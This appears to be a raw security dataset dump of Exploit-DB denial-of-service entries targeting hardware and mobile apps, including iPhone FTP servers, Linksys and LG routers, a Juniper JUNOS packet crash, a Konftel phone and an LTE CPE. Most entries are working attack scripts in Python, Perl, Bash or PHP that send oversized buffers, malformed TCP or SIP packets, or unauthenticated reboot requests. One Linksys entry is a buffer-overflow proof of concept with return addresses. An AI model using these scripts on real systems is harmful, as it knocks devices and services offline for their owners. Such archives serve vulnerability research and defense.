deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11546
Description: iPhone FTP Server (WiFi FTP) by SavySoda - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2010-02-23
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: iPhone - FTP Server (WiFi FTP) by SavySoda DoS/PoC
# Date: 02-18-2010
# Author: b0telh0
# Link: app store (http://itunes.apple.com/br/app/ftp-server/id346724641?mt=8)
# Tested on: iPhone 3G (firmware 3.1.3)


# The server doesn't crash at all, but after exploiting it
# you can't see (list) your files anymore. You must to close the app
# and open it again. Then you'll see that the app starts like it was
# fresh installed and your files are gone.


# root@bt:~# ./free_ftp.py 192.168.1.108
#
# [+] iPhone - FTP Server by SavySoda(WiFi FTP).
# [+] Free version of WiFi FTP with Ad Support.
#
# [+] Connecting...
# [+] 220 Service ready.
#
# [+] Sending username...
# [+] Sending buffer...
# [+] done!

# root@bt:~# ftp 192.168.1.108
# Connected to 192.168.1.108.
# 220 Service ready.
# Name (192.168.1.108:root): anonymous
# 230 User logged in, proceed.
# Remote system type is UNIX.
# Using binary mode to transfer files.
# ftp> ls
# 200 Command okay.
# 450 Requested file action not taken. File unavailable (e.g., file busy).
# ftp> ls
# 421 Service not available, closing control connection.
# ftp> ls
# Not connected.
# ftp> bye


import socket
import sys
import time

crash = "\x41" * 1000

def Usage():
    print ("Usage: ./free_ftp.py serv_ip\n")
if len(sys.argv) <> 2:
        Usage()
        sys.exit(1)
else:
    host = sys.argv[1]
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "\n[+] FTP Server by SavySoda(WiFi FTP)."
        print "[+] Free version of WiFi FTP with Ad Support.\n"
        print "[+] Connecting..."
        s.connect((host, 21))
        b=s.recv(1024)
        print "[+] " +b
    except:
        print ("[-] Can't connect to ftp server!\n")
        sys.exit(1)
    print "[+] Sending username..."
    time.sleep(3)
    s.send('USER anonymous\r\n')
    s.recv(1024)
    print "[+] Sending buffer..."
    time.sleep(3)
    s.send('APPE ' + crash + '\r\n')
    s.recv(1024)
    s.close()
    print "[+] done!\n"
    sys.exit(0);


-- 
Leonardo Rota Botelho
http://www.leonardobotelho.com/blog/
public key: http://www.leonardobotelho.com/leonardorotabotelho.gpg
Exploit-DB #11556
Description: iPhone FTP Server By Zhang Boyang - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2010-02-23
Author: Ale46

Exploit:
#!/usr/bin/perl

#

# Exploit: FTP Server By Zhang Boyang - Remote Dos Exploit

# Date: 24/02/10

# Author: Ale46

# Software Link: http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8

# Version: 1.0

# Tested on: Iphone 3GS with 3.1.2 firmware

# Greetz: Gandalf



use IO::Socket;



if (@ARGV<1){

	print ("[-]\tUsage: ./ftpServer <server_ip>\n");

	exit();

}

my $host = $ARGV[0];

my $port = 21;

my $stuff = "A"*10000;

my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,

PeerPort => $port);

unless ($socket) { die "Can\'t connect to $host" }

print "[-]\tConnected to FTP Server\n\n";

sleep(2);

print "[-]\tSending evil buffer..\n\n";

sleep(2);

print $socket $stuff;

sleep(2);

print "[-]\tPUAAA..Crashed..\n";
Exploit-DB #11552
Description: iPhone FtpDisc 1.0 - Denial of Service
Type: dos
Platform: hardware
Date: 2010-02-23
Author: Ale46

Exploit:
#!/usr/bin/perl
#Title: FtpDisc for Iphone - Remote DOS Exploit
#Date: 23/02/2010
#Author: Ale46 - ale46[at]paranoici[dot]org
#Software Link: http://mochasoft.dk/iphone_ftp.htm
#Version: 1.0
#Note: FtpDisc Lite has the same vuln
#Greetz: Gandalf


use Net::FTP;

if(@ARGV<1){
	print "[-]\t Error: ./ftpdisc <ftp_server_ip>\n";
	exit();
}

my $ftp;
my $host = $ARGV[0];
my $stuff;

for ($i=0;$i<100000;$i++){
	$stuff .="A";
}


$ftp = Net::FTP->new($host, Timeout=>24, Debug => 0)
or die "Error: $@";
print "\n[-]\t Logging to FTP\n\n";
sleep(2);
$ftp->login('anonymous','test@test.net')
or die "Error: ", $ftp->message;
print "[-]\t Sending Eval Command\n\n";
sleep(2);
$ftp->get($stuff);
$ftp->quit;
print "[-]\t Uh.. A crash..\n";
Exploit-DB #11769
Description: iPhone Springboard - Malformed Character Crash (PoC)
Type: dos
Platform: hardware
Date: 2010-03-15
Author: Chase Higgins

Exploit:
#!/usr/bin/python

#iPhone Springboard crash PoC by Chase Higgins. Devices tested: iPhone 2G @ OS 3.1, iPhone 3GS @ 3.1.3
#this script acts as webserver, and causes Safari, as well as Mail and Springboard to crash
#all these apps crash after running this exploit on the iPhone. Unable to debug any of these processes as the gdb on my 
#device is acting up, original iPhone is just too low memory to further test this exploit, so I am releasing it

# Exploit Title: iPhone Springboard Malformed Character Crash PoC
# Date: 3/15/2010
# Author: Chase Higgins
# Software Link: apple.com/iphone/
# Version: iPhone 2G, iPhone 3GS
# Tested on: iPhone OS 3.1, and iPhone OS 3.1.3
# CVE : 
# Code : none

import sys, socket;

def main():
	html = """
	<html>
	<head>
	<script>
	function triggerCrash(){
		evil_div = document.getElementById('evilDiv');
		var evil_string = "\x4e\x5b\x01";
		i = 0;

		while (i < 1000){
			evil_string = evil_string + evil_string;
		}

		evil_div.innerHTML = evil_string;
	}
	</script>
	</head>
	<body onLoad="triggerCrash()">
	<div id="evilDiv">
	 
	</div>
	</body>
	</html>
	""";

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
	s.bind(('',2121));
	s.listen(1);
	
	while True:
		channel, details = s.accept();
		print channel.recv(1024);
		channel.send(html);
		channel.close();
	
main();
Exploit-DB #17351
Description: iPhone4 FTP Server 1.0 - Empty CWD-RETR Remote Crash
Type: dos
Platform: hardware
Date: 2011-05-31
Author: offsetIntruder

Exploit:
# Exploit Title: iPhone4 FTP Server V1.0 - Empty CWD-RETR Remote Crash
# Date: 2011-05-30
# Author: offsetIntruder
# Software Link: http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8
# Version: 1.0
# Tested on: iPhone4 IOS 4.3.2
# CVE: N/A
 
import socket
import sys
 
user="anonymous"

 
print("\n iPhone4 FTP Server By Zhang Boyang - Empty CWD-RETR Remote Crash\n")


def ExploitFTP(target):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,2121))
	data = s.recv(1024)
	print("[+] Sending user login...")
	s.send("USER " + user + '\r\n')
	data = s.recv(1024)
	print("[+] Sending empty CWD...\n")
	s.send("CWD \r\n")
	data = s.recv(1024)
	s.close()
	
target = sys.argv[1]
 
ExploitFTP(target)
Exploit-DB #45199
Description: JioFi 4G M2S 1.0.2 - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2018-08-15
Author: Vikas Chaudhary

Exploit:
# Exploit Title: JioFi 4G M2S 1.0.2 - Denial of Service (PoC)
# Exploit Author:  Vikas Chaudhary
# Date: 2018-07-26
# Vendor Homepage: https://www.jio.com/
# Hardware Link:  https://www.amazon.in/JioFi-Hotspot-M2S-Portable-Device/dp/B075P7BLV5/ref=sr_1_1?s=computers&ie=UTF8&qid=[PII_REDACTED]&sr=1-1&keywords=JioFi+M2S+Wireless+Data+Card++%28Black%29
# Version: JioFi 4G Hotspot M2S 150 Mbps Wireless Router
# Category: Hardware
# Tested on: Windows 10
# CVE: CVE-2018-15181

# Proof Of Concept:
01- First Open BurpSuite
02- Make Intercept on 
03 -Go to your Wifi Router Gateway  and log in  [i.e http://192.168.225.1 ]
04- Go To => Setting=> WiFi
06- In SSID type "Testing"  and   in Security Key  type  "12345678" .
06- Click on Apply
07- Burp will Capture the Intercepts.
08- Copy  this code     "o<x>nmouseover=alert<x>(1) and paste it after the SSID name  and Security Key
09- You will see that your Net connection will lost and Router will shutdown and Restart..
10- The Router will  RESTART  and your SSID name will change to this    "o<x>nmouseover=alert<x>(1)//
11- Now again go to Wifi router gateway and loged in
12- You will see that the SSID name and Security Key  will be Blank
13- Again try to Change the SSID name - YOU CAN'T ,  If you force it  to change , You have to OPEN  Your Wireless Security and that is unsecure .  (Open wifi=> Without Password)
Exploit-DB #33476
Description: Juniper Networks JUNOS 7.1.1 - Malformed TCP Packet Denial of Service / Multiple Vulnerabilities
Type: dos
Platform: hardware
Date: 2010-01-07
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/37670/info

JUNOS is prone to a remote denial-of-service vulnerability that arises when the application handles specially crafted TCP packets.

JUNOS is also prone to six other unspecified security vulnerabilities. These issues may include privilege-escalation or denial-of-service issues.

JUNOS 7.x, 8.x, and 9.x are affected. JUNOS 10.x is not believed to be affected. 

#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;
exit 0;
Exploit-DB #24896
Description: Konftel 300IP SIP-based Conference Phone 2.1.2 - Remote Bypass Reboot
Type: dos
Platform: hardware
Date: 2013-03-29
Author: Todor Donev

Exploit:
#!/bin/bash 
# Konftel 300IP SIP-based Conference phone <= 2.1.2 remote bypass reboot exploit
#
# by Todor Donev / 03.2013 / Sofia,Bulgaria
# email: todor dot donev at gmail com
# type: hardware
#
# The Konftel 300IP is a flexible SIP-based conference phone,
# perfect for companies that use IP voice services. Its clear, 
# natural sound comes from OmniSound HD, Konftel’s patented 
# wideband audio technology. The stylishly designed 
# Konftel 300IP is packed with intelligent features for more
# efficient conference calls. Record and store meetings on a
# SD memory card. Use the conference guide to call 
# pre-programmed groups with just a few simple pushes of a
# button. Conveniently import and export contact details via 
# the Web interface. Create your own phone book with the 
# personal user profile feature. The Konftel 300IP is also 
# ideal for larger conferences since it can accommodate 
# expansion microphones, an external wireless headset and a 
# PA system. With the Konftel 300IP your company will have 
# a conference phone that combines all the benefits of IP 
# voice service with innovative new features.
#
# Example usage:
# [exploits@amnesium]$ ./k300IP-rbr.sh 192.168.1.180
# Konftel 300IP SIP-based Conference phone <= 2.1.2 remote bypass reboot exploit
# Rebooting 192.168.1.180..
# Sleeping 30 secs, before rebooting
# curl: (7) couldn't connect to host
#
# Special greetings for Tsvetelina Emirska, Stilyan Angelov and all my other friends!

if [ $# != 1 ]; then
        echo "usg: $0 <victim>"
        exit;
fi
echo "Konftel 300IP SIP-based Conference phone <= 2.1.2 remote bypass reboot exploit"
echo "Rebooting $1.."
curl http://$1/cgi-bin/dorestart.cgi?doit=Reboot &>/dev/null
echo "Sleeping 30 secs before rebooting"
sleep 30
curl $1
Exploit-DB #49685
Description: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Device Reboot (Unauthenticated)
Type: dos
Platform: hardware
Date: 2021-03-19
Author: LiquidWorm

Exploit:
# Exploit Title: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Device Reboot (Unauthenticated)
# Date: 03.02.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kzbtech.com http://www.jatontec.com https://www.neotel.mk

Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
                  http://www.jatontec.com/products/show.php?itemid=258
                  http://www.jatontech.com/CAT12.html#_pp=105_564
                  http://www.kzbtech.com/AM3300V.html
                  https://neotel.mk/ostanati-paketi-2/

Affected version:  Model | Firmware
                  -------|---------
                 JT3500V | 2.0.1B1064
                 JT3300V | 2.0.1B1047
                 AM6200M | 2.0.0B3210
                 AM6000N | 2.0.0B3042
                 AM5000W | 2.0.0B3037
                 AM4200M | 2.0.0B2996
                 AM4100V | 2.0.0B2988
                AM3500MW | 2.0.0B1092
                 AM3410V | 2.0.0B1085
                 AM3300V | 2.0.0B1060
                 AM3100E | 2.0.0B981
                 AM3100V | 2.0.0B946
                 AM3000M | 2.0.0B21
                 KZ7621U | 2.0.0B14
                 KZ3220M | 2.0.0B04
                 KZ3120R | 2.0.0B01

Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: The device allows unauthenticated attackers to restart the
device with an HTTP GET request to /goform/RestartDevice page.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
           Linux 2.6.36+ (mips)
           Mediatek APSoC SDK v4.3.1.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5643
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5643.php


03.02.2021

--


$ curl -sk https://192.168.1.1/goform/RestartDevice
success
$
Exploit-DB #21736
Description: LG LR3100p 1.30 Series Router - IP Packet Flags Denial of Service
Type: dos
Platform: hardware
Date: 2002-08-22
Author: Lukasz Bromirski

Exploit:
source: https://www.securityfocus.com/bid/5550/info

The LR series WAN routers are hardware and firmware solutions manufactured and distributed by LG Electronics.

It has been reported that scanning some LG routers using various IP flags can cause the router to become unstable. When the router is scanned with a tool such as nmap, and the fingerprinting option is enabled, the router may crash.

nmap -O www.example.com
Exploit-DB #25402
Description: LG U8120 Mobile Phone - '.MIDI' File Remote Denial of Service
Type: dos
Platform: hardware
Date: 2005-04-13
Author: Luca Ercoli

Exploit:
source: https://www.securityfocus.com/bid/13154/info

A remote denial of service vulnerability is reported to affect the LG U8120 Mobile Phone. The report indicates that the issue manifests when an affected phone processes a malicious MIDI file. 

The following instructions are available:
To perform the attack from LG U8120:
(WARNING: DOING THIS OPERATIONS YOU CAN BLOCK YOUR DEVICE!
TO RESET IT USE THIS CODE: 277634#*#)

1- Save a mms draft with a dummy midi file
2- Connect mobile phone to PC and overwrite the dummy file with 'lgfreeze.mid'.
3- Send the mms draft.
Exploit-DB #21975
Description: Linksys BEFSR41 1.4x - 'Gozila.cgi' Denial of Service
Type: dos
Platform: hardware
Date: 2002-11-01
Author: Jeep 94

Exploit:
source: https://www.securityfocus.com/bid/6086/info

Linksys BEFSR41 is vulnerable to a denial of service condition.

The denial of service condition will be triggered when the device receives a request for the script file 'Gozila.cgi' without any parameters. 

http://192.168.1.1/Gozila.cgi?
Exploit-DB #22062
Description: Linksys Devices 1.42/1.43 - 'GET' Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2002-12-03
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/6301/info

Several Linksys Broadband Router devices are prone to a buffer overflow conditions.

The vulnerability occurs due to insufficient allocation of memory for buffers. 

An attacker can exploit this vulnerability by issuing an overly long GET request to the vulnerable Linksys device. When the device attempts to process the malformed input, it will be possible to corrupt sensitive memory. This may allow an attacker to change configuration information on the vulnerable device.

import socket
import struct
import select

class Exploit:
def __init__(self):
pass

def setup(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect(('192.168.1.1',80))

self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")
self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

self.paddingSize = 1500-20-20+1004+7*4
# 1500 is MTU
# 20 IP header
# 20 TCP header
# 1004 for allocated space
# 7 saved registers
self.toSend = "GET "
self.toSend += "A"*(self.paddingSize-len(self.toSend))
self.toSend += struct.pack(">L", self.returnAddress)

def attack(self):
self.s.send(self.toSend)
(r,w,x) = select.select([self.s],[],[],2)
if self.s in r:
print self.s.recv(100000)
self.s.close()

def run(self):
self.setup()
self.attack()

def main():
ex = Exploit()
ex.run()

main()
Exploit-DB #25082
Description: Linksys PSUS4 PrintServer - POST Denial of Service
Type: dos
Platform: hardware
Date: 2005-02-03
Author: laurent oudot

Exploit:
source: https://www.securityfocus.com/bid/12443/info

Linksys PSUS4 PrintServer is reported prone to a remote denial of service vulnerability while handling certain HTTP POST requests received on TCP port 80.

An attacker may exploit this condition to deny service to the affected PrintServer. 

$ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
--23:10:05-- http://192.168.1.2/
=> `index.html'
Connecting to 192.168.1.2:80... connected.
HTTP request sent, awaiting response...

=> And the PSUS4 is crashed.
Exploit-DB #26825
Description: Linksys Routers - LanD Packet Denial of Service
Type: dos
Platform: hardware
Date: 2005-12-14
Author: Justin M. Wray

Exploit:
source: https://www.securityfocus.com/bid/15861/info

Multiple Linksys devices are prone to a denial of service vulnerability.

These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.

This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.

Linksys BEFW11S4 and WRT54GS devices are reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected. 

hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1
Exploit-DB #31478
Description: Linksys SPA-2102 Phone Adapter Packet Handling - Denial of Service
Type: dos
Platform: hardware
Date: 2008-03-24
Author: sipherr

Exploit:
source: https://www.securityfocus.com/bid/28414/info

Linksys SPA-2102 Phone Adapter is prone to a denial-of-service vulnerability when handling multiple packets in quick succession.

Attackers can exploit this issue to deny access to the device's control center for legitimate users. Reports indicate that this issue is exploitable only via computers on the same LAN as the device.

Linksys SPA-2102 Phone Adapter running firmware 3.3.6 is vulnerable; other versions may also be affected.

ping -l 65500 192.168.0.1
Exploit-DB #3791
Description: Linksys SPA941 - '\377' Character Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-04-24
Author: MADYNES

Exploit:
#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

                       

$msg =

"INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\377\r

Via: SIP/2.0/UDP 192.168.1.2;rport;branch=00\377\r

Max-Forwards: 70\377\r

To: lynksys <sip:$ARGV[2]\@$ARGV[0]>\377\r

From: <sip:tucuman\@192.168.1.2>;tag=00\377\r

Call-ID: tucu\@192.168.1.2\377\r

CSeq: 24865 INVITE\377\r

Contact: <sip:tucu\@192.168.1.2>\377\r

Supported: 100rel\377\r

Content-Length: 0\377\r

\r\n";

 

$socket->send($msg);

# milw0rm.com [2007-04-24]
Exploit-DB #3792
Description: Linksys SPA941 - Remote Reboot (Denial of Service)
Type: dos
Platform: hardware
Date: 2007-04-24
Author: MADYNES

Exploit:
#!/usr/bin/perl

 

use IO::Socket;

 

#die "Usage $0 <username> <dst_IP> <Source_IP> <SourcePort>" unless ($ARGV[2]);

die "Usage $0 <username> <dst_IP> <SourceIp> <sourceport>" unless ($ARGV[0]);

 

my $sock = new IO::Socket::INET( LocalHost => $ARGV[2], LocalPort => $ARGV[3], Proto => 'udp');

$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[1], PeerPort=> '5060', Proto=>'udp', LocalAddr=>$ARGV[2], LocalPort=>'5061');

 

$touser=$ARGV[0];

$target=$ARGV[1];

$sourceaddress=$ARGV[2];

$sourceport=$ARGV[3];

$high=2000;

$low=1;

$fromuserid = int(rand( $high-$low+1 ) ) + $low;

my $cseq = "INVITE";

 

$msg = "INVITE sip:$touser\@$target SIP/2.0\r

Via: SIP/2.0/UDP $sourceaddress:$sourceport;branch=z9hG4bK00000\r

From: \377<sip:$fromuserid\@$sourceaddress>;tag=779\r

To: Receiver <sip:$touser\@$target>\r

Call-ID: 10\@$sourceaddress\r

CSeq: 1 $cseq\r

Contact: 779 <sip:$fromuserid\@$sourceaddress>\r

Expires: 1200\r

Max-Forwards: 70\r

Content-Type: application/sdp\r

Content-Length: 133\r

\r

v=0\r

o=0 0 0 IN IP4 $sourceaddress\r

s=Session SDP\r

c=IN  IP4 $sourceaddress\r

t=0 0\r

m=audio 9876 RTP/AVP 0\r

a=rtpmap:0 PCMU/8000\r";

 

$sock or die "no socket :$!";

while (1){

            $socket->send($msg);

            sleep 90;

            }

# milw0rm.com [2007-04-24]
Exploit-DB #7535
Description: Linksys WAG54G v2 Wireless ADSL Router - HTTPd Denial of Service
Type: dos
Platform: hardware
Date: 2008-12-21
Author: r0ut3r

Exploit:
<?php
/*
* LinkSys Wireless ADSL Router httpd DoS Vulnerability
*
* Product : Linksys (Division of Cisco Systems)
* Device  : WAG54G V.2
* Firmware: 1.02.20
* Notes   : Other devices and firmware versions are no doubt vulnerable. 
*
* Written by: r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
*
* Sending a large HTTP GET/POST request (10240) to the router results in DoS
* of the httpd service. 
*
* After discovering this vulnerability I read about similar vulnerabilities
* in different devices. It would seem this device is vulnerable to more 
* previously disclosed vulnerabilities also, just this device was not tested. 
*
* It has been suggested that this is a stack overflow vulnerability.
* http://www.securiteam.com/securitynews/5NP0D15GUE.html
* https://www.securityfocus.com/bid/6301/info
*
* unable to connect to 192.168.1.1:80 (Connection refused)
*
* r0ut3r@kit:~> nmap 192.168.1.1
*
* Starting Nmap 4.20 ( http://insecure.org ) at 2008-12-12 12:17 EST
* Interesting ports on 192.168.1.1:
* Not shown: 1695 closed ports
* PORT    STATE SERVICE
* 23/tcp  open  telnet
* 443/tcp open  https
*
* Nmap finished: 1 IP address (1 host up) scanned in 7.403 seconds
*
* Looks like HTTP died... 
* HTTPS is running however you cannot login. The service is basically useless. 
* Telnet is also open for administration (if configured to be). 
*
* Apart from not being able to use the Web Administration Interface the device
* seems to function fine. 
*/

set_time_limit(0);

$host = "192.168.1.1"; //Default IP is 192.168.1.1
if (isset($argv[1]))
    $host = $argv[1];
$port = 80;

echo "Connecting...\n";
$conn = fsockopen($host, $port, $errno, $errstr);
if ($conn)
{
    $payload = "GET /".str_repeat('A', 10240)." HTTP/1.1";

    if (fwrite($conn, $payload))
        echo "Payload sent!\n";

    fclose($conn);
}
?>

# milw0rm.com [2008-12-21]